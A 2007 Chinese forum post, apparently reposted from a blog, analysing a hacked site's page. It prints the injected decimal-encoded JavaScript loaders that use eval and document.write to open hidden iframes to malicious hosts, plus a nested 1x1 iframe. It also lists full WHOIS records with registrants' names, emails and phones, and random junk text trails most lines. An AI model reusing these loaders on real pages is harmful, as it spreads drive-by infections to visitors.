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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, "gajBY  
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http://www.areway.cn/?p=175 Ny7=-]N4{"  
nL 07^6(  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: <L ( =  
          y"L`bl A9}  
<script>t=’60,105,102,114,97,109,101, O[p^lr(B7  
32,115,114,99,61,104,116,116,112,58,47,47, gJ8 c]2c  
102,114,101,101,46,117,45,117,117,117,46,99, D)7$M]d%  
110,47,101,114,114,111,114,46,104,116,109, FK >8kC  
32,119,105,100,116,104,61,49,48,48,32,104, L8xprHgL  
101,105,103,104,116,61,48,62,60,47,105,102, TIWLp  
114,97,109,101,62′; aa%&&  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> cPaWJ+c  
                                                                                                  iA{jKk=  
<script>t=’60,105,102,114,97,109,101,32,115, r5da/*G/O  
114,99,61,104,116,116,112,58,47,47,102,114, z/&a\`DsU  
101,101,46,117,45,117,117,117,46,99,110,47, N z3%}6F:  
101,114,114,111,114,46,104,116,109,32,119, xXxh3 k\  
105,100,116,104,61,49,48,48,32,104,101,105, qq7X ",s  
103,104,116,61,48,62,60,47,105,102,114,97, \ jXN*A  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); |-Esc|J(  
document.write(t);</script> LI;EfyL  
                                                                                                  .C;_4jE  
<html xmlns=” n ,:.]3v%  
http://www.w3.org/1999/xhtml _AB9BQm  
“> ?&<o_/`-H5  
<head> c[RL Yu  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> a(DZGQ-as  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Y{2d4VoW6  
<title>首页 - 爱生活家庭网 XL/o y'_  
                                                                                                                                                    rbuL@= S@*  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 j484b2uj1  
转换字符串后的大概内容是(谁点击后果自付): bb/?02*)H  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ytV)!xe  
                                                                                                                                  D<3V#Opw  
查询玉米u-uuu.cn的详细信息: ie~fQ!rf  
Domain Name: u-uuu.cn V;hwAQbF  
ROID: 20070901s10001s64972306-cn [H:GKhPC`  
Domain Status: ok sqpOS!]  
Registrant Organization: 王雷 hB}h-i(u  
Registrant Name: 王雷 R~5* #r@f  
Administrative Email: czlovexs@126.com SM#S/|.]  
Sponsoring Registrar: 北京万网志成科技有限公司 3AQ>>)T~  
Name Server:ns.yovole.com =_m9so  
Name Server:ns1.yovole.com `=}UFu  
Registration Date: 2007-09-01 17:54 l*\~ew   
Expiration Date: 2008-09-01 17:54 6^IqSNn-  
最后PING了一下地址 都没有什么…. 'Ywpdzz[  
                                                                                                {29S`-|P  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. o|;eMO-  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> =Wk/q_.  
<script language=”javascript” src=”  e_~fJ  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >AzWM .r  
> 7}cDGdr  
这个玉米应该有可能是木马作者的: D@\;@( |  
foafau.info的详细信息: H9san5{  
Access to INFO WHOIS information is provided to assist persons in |!?WQ[  
determining the contents of a domain name registration record in the s\C8t0C  
Afilias registry database. The data in this record is provided by it\DZGsg  
Afilias Limited for informational purposes only, and Afilias does not D_n}p8blT  
guarantee its accuracy.  This service is intended only for query-based ZAX0n!db3  
access. You agree that you will use this data only for lawful purposes w0j/\XN 2s  
and that, under no circumstances will you use this data to: (a) allow, yB4H3Q )  
enable, or otherwise support the transmission by e-mail, telephone, or *fH_lG%  
facsimile of mass unsolicited, commercial advertising or solicitations pba8=Z  
to entities other than the data recipient’s own existing customers; or 7.e7Fi{  
(b) enable high volume, automated, electronic processes that send Vl 19Md  
queries or data to the systems of Registry Operator, a Registrar, or 95^i/6Gl!P  
Afilias except as reasonably necessary to register domain names or Gkv~e?Kc~^  
modify existing registrations. All rights reserved. Afilias reserves \SiHrr5  
the right to modify these terms at any time. By submitting this query, S2 "=B&,}  
you agree to abide by this policy. Y%0d\{@a  
Domain ID:D22418703-LRMS =0PRAc  
Domain Name:FOAFAU.INFO w&|R5Q  
Created On:20-Nov-2007 16:05:42 UTC "o{)X@YN]  
Last Updated On:20-Nov-2007 16:05:44 UTC I& M36f  
Expiration Date:20-Nov-2008 16:05:42 UTC jH&_E'XMX  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) JpxbB)/  
Status:CLIENT DELETE PROHIBITED z{@R.'BD  
Status:CLIENT RENEW PROHIBITED jkF+g$B  
Status:CLIENT TRANSFER PROHIBITED 5Z9~ &U  
Status:CLIENT UPDATE PROHIBITED Z<ajET`)  
Status:TRANSFER PROHIBITED <wt$Gglk  
Registrant ID:GODA-040110615 'cAc{\)  
Registrant Name:liu hong *j /S4qG  
Registrant Organization: Cl6m$YUt  
Registrant Street1:beijing B+Y5b5+wOQ  
Registrant Street2: Z%+BWS3YqY  
Registrant Street3: C1T=O  
Registrant City:beijing Y8%0;!T  
Registrant State/Province: |/;U)M  
Registrant Postal Code:100000 UK6xkra?#  
Registrant Country:CN {eEC:[  
Registrant Phone:+86.860108888777 gE@$~Q>M  
Registrant Phone Ext.: \+iu@C  
Registrant FAX: >sQ2@"y)s2  
Registrant FAX Ext.: w!WRa8C  
Registrant Email:bbbshiji@163.com 7}?k^x,1  
Admin ID:GODA-240110615 !.3R~0b  
Admin Name:liu hong @n7t?9Bx  
Admin Organization: L\}Pzxn  
Admin Street1:beijing s !#HZK  
Admin Street2: zb5N,!%r  
Admin Street3: aUW/1nQHa  
Admin City:beijing kG)2%  
Admin State/Province: wqlcLIJPR  
Admin Postal Code:100000 IX<r5!  
Admin Country:CN L6:W'u^  
Admin Phone:+86.860108888777 #M5_em4kN  
Admin Phone Ext.: i s L{9^  
Admin FAX: aqs%m (  
Admin FAX Ext.: J]}FC{CD!  
Admin Email:bbbshiji@163.com >*dQqJI  
Billing ID:GODA-340110615 kDzj%sm!  
Billing Name:liu hong *me,(C  
Billing Organization: WY+(]Wkao  
Billing Street1:beijing LY-lTr@A^  
Billing Street2: %5JW< 9  
Billing Street3:  9<|m4  
Billing City:beijing U_}7d"<| ?  
Billing State/Province: xfq]9<  
Billing Postal Code:100000 F#(.v7Za  
Billing Country:CN ch@x]@-;A3  
Billing Phone:+86.860108888777 N5nvL)a~  
Billing Phone Ext.: >dpbCPJ9[  
Billing FAX: y(bsCsV&  
Billing FAX Ext.: yjEI/9_  
Billing Email:bbbshiji@163.com J=UZ){c>:.  
Tech ID:GODA-140110615 d5DP^u  
Tech Name:liu hong ! FNf>z+  
Tech Organization: 5x8'K7/4.  
Tech Street1:beijing Tu]&^[B('  
Tech Street2: ],8;eq%W)  
Tech Street3: `gBD_0<T7  
Tech City:beijing % f2<U;ff  
Tech State/Province: iQt!PMF.  
Tech Postal Code:100000 b5A Gk  
Tech Country:CN 2B7h9P.NB  
Tech Phone:+86.860108888777 &*B>P>x  
Tech Phone Ext.: u8Y~_)\MA  
Tech FAX: '#v71,  
Tech FAX Ext.: m CM|&u  
Tech Email:bbbshiji@163.com #gh p/YoTq  
Name Server:NS27.DOMAINCONTROL.COM l8z%\p5cR  
Name Server:NS28.DOMAINCONTROL.COM _6;<ow  
Name Server: *B0V<mV  
Name Server: ZjqA30!  
Name Server: NuU'0_")/  
Name Server: ||uZ bP@  
Name Server: h4f ~5- Y  
Name Server: ZP"yq6!i  
Name Server: ezp<@'0ZT  
Name Server: !#q{Z>H`  
Name Server: 6wPeb~{  
Name Server: FbveI4  
Name Server: BBcj=]"_  
                                                                                                          2Ok?@ZdjA{  
接着下载每个文件里面的代码: Bg-VCJI<  
一步一步看.. #c-b}.R  
MDk*j,5V  
+%P t_  
Vo%Yf9C  
*|mz_cKu  
|U#DUqw  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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